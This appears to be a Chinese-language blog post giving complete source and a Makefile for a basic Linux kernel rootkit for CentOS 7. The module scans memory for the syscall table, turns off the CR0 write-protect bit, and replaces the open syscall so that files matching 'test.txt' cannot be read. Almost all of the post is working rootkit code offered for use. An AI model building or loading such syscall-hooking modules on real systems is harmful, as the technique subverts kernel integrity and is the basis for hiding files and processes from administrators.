Linux Rootkit实现文件保护

  • 内容
  • 评论
  • 相关

一个非常基础的rootkit,禁止读取指定文件

编译系统:
CentOS 7

uname -r
3.10.0-957.21.3-el7.x86_64
#include <linux/module.h>
#include <linux/syscalls.h>
#include <net/inet_sock.h>

asmlinkage long(*real_open)(const char __user *filename, int flags, unsigned short mode);

unsigned long **syscall_table = NULL; 
char buf[1024] = { 0 };

unsigned long get_syscall_table(void)
{
    unsigned long ptr = 0;
    unsigned long *p = NULL;
    for (ptr = (unsigned long)sys_close;
         ptr < (unsigned long)&loops_per_jiffy;
         ptr += sizeof(void*))
    {
        p = (unsigned long*)ptr;
        if (p[__NR_close] == (unsigned long*)sys_close)
        {
            return (unsigned long)p;
        }
    }
    return NULL;
}

void disable_wp()
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0(cr0);
}

void enable_wp()
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}

asmlinkage long fake_open(const char __user *filename, int flags, unsigned short mode)
{
    int len = strnlen_user(filename, sizeof(buf));
    long ret = copy_from_user(buf, filename,len); 

    //禁止访问指定文件
    if (ret == 0 && strstr(buf, "test.txt") != NULL)
    {
        return -1;
    }

    return (*real_open)(filename, flags, mode);
}

static int rootkit_init(void)
{
    printk("driver start..\n");

    syscall_table = (unsigned long**)get_syscall_table();
    printk("syscall_table:%llx\n", syscall_table); 

    if (syscall_table == NULL)
    {
        return 0;
    }

    disable_wp();
    real_open = (void *)syscall_table[__NR_open];
    syscall_table[__NR_open] = (unsigned long)fake_open; 
    enable_wp();

    return 0;
}
static void rootkit_exit(void)
{
    printk("driver exit..\n");
    if (syscall_table == NULL)
    {
        return;
    }

    disable_wp();
    syscall_table[__NR_open] = (unsigned long)real_open; 
    enable_wp();

    return;
}

module_init(rootkit_init);
module_exit(rootkit_exit);

MODULE_LICENSE("GPL");

Makefile:

obj-m = rootkit.o

K_DIR = $(shell uname -r)
PWD = $(shell pwd)

all:
    make -C /lib/modules/$(K_DIR)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(K_DIR)/build M=$(PWD) clean 

实现效果:
image